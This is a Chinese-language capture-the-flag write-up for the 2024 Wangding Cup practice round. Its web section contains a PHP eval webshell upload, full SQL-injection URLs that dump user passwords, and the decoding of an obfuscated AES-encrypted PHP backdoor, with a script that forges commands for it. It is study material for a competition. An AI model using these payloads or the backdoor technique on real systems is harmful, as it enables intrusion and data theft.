模拟训练前10名
本文字数:1947|预计3分钟读完
2024“网鼎杯”赛前模拟训练赛已经结束,有不少得了满分的,总共9题满分2490。
号主做了部分题感觉总体难度还是有的,不过感觉正赛的难度应该会比模拟训练赛难度要大,毕竟是全国性的线上大赛,打穿题库可不好啊。
号主结合自己做的题以及网上高手的WP总结了一份WP以供大家学习参考。
文丨hacking
0
题目类型
web 4题、pwn 1题、逆向 1题、密码学 2题、杂项 1题。
1
web-1 任意文件上传
考点:任意文件上传,执行命令,读取flag
1、上传a.php
<?php eval($_POST[A]);phpinfo()?>
2、传参执行命令,读取flag.txt
a=system('pwd:ls -la ..:ls -al /:cat /flag.txt');
2
web-2 sql手工注入
考点:需要获取最新cookie,然后手动注入,sqlmap尝试未成功
手工注入过程
1、查库
http://0192c6b8603f7c18a31186ec5dedbeca.auuj.dg01.wangdingcup.com:43009/OA_announcement.php?id=1%20and%201=2%20union%20select%201,2,(select%20group_concat(schema_name)%20from%20information_schema.schemata),4
2、查表
http://0192c6b8603f7c18a31186ec5dedbeca.auuj.dg01.wangdingcup.com:43009/OA_announcement.php?id=1%20and%201=2%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x4d6f7a68655f4f4173797374656d),4
3、查字段
http://0192c6b8603f7c18a31186ec5dedbeca.auuj.dg01.wangdingcup.com:43009/OA_announcement.php?id=1%20and%201=2%20union%20select%201,2,(select group_concat(table_schema,'.',table_name,'.',column_name) from information_schema.columns where table_schema<>'information_schema'),4
4、查PassWord
http://0192c6b8603f7c18a31186ec5dedbeca.auuj.dg01.wangdingcup.com:43009/OA_announcement.php?id=1%20and%201=2%20union%20select%201,2,(select%20group_concat(id,%27.%27,OAname,%27.%27,PassWord,%27.%27,Status)%20from%20Mozhe_OAsystem.OA_Users),4
5、登录后台
3
web-3 webshell连接
考点:目录扫描、webshell、代码审计
1、目录扫描
目录扫描工具dirsearch、御剑等工具扫描到备份文件夹
wwwroot.rar
解压之后发现源码,其他都是大写开头的,就一个小写开头的php
describedssTest.php 这个是入侵者上传的木马文件。
2.代码审计
一个加密一个解密函数
加密函数
解密函数
$a8 = 'TURNeU9UWTBOelUwTmprd05UUTVOR0ZLV1ZwdU9XSkZORmh2WnpoS1RrNW1jRTFrTkdjOVBRPT0=';
a8 解密后是assert
d8 解密后是 @eval("if(md5(@$_GET['id'])===$p8){@eval(trim(d($_POST['d'],$p8)));}")
组合起来就是
$a8(trim(d($d8, $p8)));
这条语句就是把两者组合起来;
assert(@eval("if(md5(@$_GET['id'])===$p8){@eval(trim(d($_POST['d'],$p8)));}"))
分析该语句
过第一关:
Id传入的值计算md5 要和$p8 强等,只能解密。Md5在线解密花钱解出来了。md5(md5(20241026))===$p8。
所以get传参id=md5(20241026)=04c50eb4bc04c76311d03550ee2c1b71
过第二关:
Post传参,d 传入的参数先经过解密,再由eval执行
所以我们只需要将需要执行的命令先用e函数加密,再串进去就行。
用e函数传入 $jm = "system('cat /flag.txt');"
//加密
$jjm = trim(e($jm,$p8));
echo $jjm;
将输入的结果传入测试就行
结果为;"TURNeU9UWTBOelUwTmprd05UUTVOQ3RzVjBkbU5WSjBTRmswV2s5aVpISlpNMlpQZW05TVVtOUJTMmRSZVdZMlRrNXBRMWM0TVdRMVRITTk="
所以post 方式 d=TURNeU9UWTBOelUwTmprd05UUTVOQ3RzVjBkbU5WSjBTRmswV2s5aVpISlpNMlpQZW05TVVtOUJTMmRSZVdZMlRrNXBRMWM0TVdRMVRITTk=
第三步获取结果:
使用hackbar:
id=04c50eb4bc04c76311d03550ee2c1b71
d=TURNeU9UWTBOelUwTmprd05UUTVOQ3RzVjBkbU5WSjBTRmswV2s5aVpISlpNMlpQZW05TVVtOUJTMmRSZVdZMlRrNXBRMWM0TVdRMVRITTk=
得到回显
TURNeU9UWTBOelUwTmprd05UUTVORTVrYUVSMWQyWnlRbnBGWTJac1lqaHNjRnAyTUVsVGFIaHlSSHBOVDFGRFptNXJTR000VHk5d1NVeElNMFpyWTFwRVRqaFFjSEU1YlVOalpuQm5jM0U9
第四步解密:
使用解密函数解密:wdflag{2fy5q80e1vt5wcr9y3qpg3rt6vvx48vb}
附件:
Pyload.php
error_reporting(0);
header('Content-type: text/html; charset=utf-8');
$p8 = '3b7430adaed18facca7b799229138b7b';
$a8 = 'TURNeU9UWTBOelUwTmprd05UUTVOR0ZLV1ZwdU9XSkZORmh2WnpoS1RrNW1jRTFrTkdjOVBRPT0=';
$d8 = 'TURNeU9UWTBOelUwTmprd05UUTVOR012V1c5cVJXNXBkWEJyZDFsemJsQlpNMmRITjNaYWVFVnFPVWRqVnpoWlUyNXZNbmhDU21jd2RHTkxRazF2U1hvMU9FNUNWM2RNUjFWYVJuVnBiV3czUlVwUldFMTFhakp2VjJKS1NIVlJUMU5UYjNoSWExUk5hMlZXY21OdlRuaHVRMjlsVkV4aEwzbGpQUT09';
$v8 = '0329647546905494';
$jm = "system('cat /flag.txt');";
$putinto = "TURNeU9UWTBOelUwTmprd05UUTVOQ3RzVjBkbU5WSjBTRmswV2s5aVpISlpNMlpQZW05TVVtOUJTMmRSZVdZMlRrNXBRMWM0TVdRMVRITTk=";
$resp = "TURNeU9UWTBOelUwTmprd05UUTVORTVrYUVSMWQyWnlRbnBGWTJac1lqaHNjRnAyTUVsVGFIaHlSSHBOVDFGRFptNXJTR000VHk5d1NVeElNMFpyWTFwRVRqaFFjSEU1YlVOalpuQm5jM0U9";
function e($D, $K) {
$cipher = 'aes-128-cbc';
$encrypted = openssl_encrypt($D, $cipher, $K, 0, $GLOBALS['v8']);
$result = base64_encode($GLOBALS['v8'].$encrypted);
$result = base64_encode($result);
return $result;
}
function d($D, $K) {
$cipher = 'aes-128-cbc';
$decodedData = base64_decode(base64_decode($D));
$encryptedData = substr($decodedData, openssl_cipher_iv_length($cipher));
$decrypted = openssl_decrypt($encryptedData, $cipher, $K, 0, $GLOBALS['v8']);
return $decrypted;
}
//解密
//$dfd= trim(d($d8, $p8));
//echo $dfd;
//解密回显
$dfd= trim(d($resp, $p8));
echo $dfd;
echo "<br>";
//加密
$jjm = trim(e($jm,$p8));
echo $jjm;
//echo ($jjm==$a8);
//ob_start();
//assert(@eval("if(md5(@$_GET['id'])===$p8){@eval(trim(d($_POST['d'],$p8)));}"));
////assert(@eval($p));
//$O = ob_get_contents();
//ob_end_clean();
//echo $O;
法二:
网上大佬总结
这是一个后门php,只要提供正确的参数,就可以远程执行命令。简单反混淆一下代码,知道它会做一些加密和base64:
在 GET 参数提供正确的 id,和 POST 请求中提供加密的命令,以 d 为参数。这里我们可以写一个脚本模拟这个加密过程来生成我们想执行的命令:
Key 的哈希解出来,然后提供给 GET 参数,POST 则是生成的 payload,我们会得到一个长的响应,和默认时的响应是不一样的:
响应 base64 两次解码之后,会得到 iv+加密响应内容 的组合,这里我们可以写一个脚本来解密响应的内容:
解密出来之后,可以验证我们的命令执行成功了:
然后就简单了,遍历一下目录,读flag。先查看根目录:
直接读 flag:
4
pwn
考点:整数溢出
某个数乘以2等于-100,这个数又必须是正数,使用整数溢出
5
逆向
考点:
Java逆向、反编译
源代码里直接可以找到flag
比较简单
按顺序读出flag
6
密码学Crypto-1
栅栏密码
7
密码学Crypto-2
考点:
winhex+base64
8
杂项MISC
考点:
webaccesslog日志分析
感谢大佬WP,有一题web未搜集到wp
下周 全国初赛见,祝大家取得好成绩。
原文始发于微信公众号(Hacking黑白红):2024“网鼎杯”赛前模拟训练WP(仅供参考)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论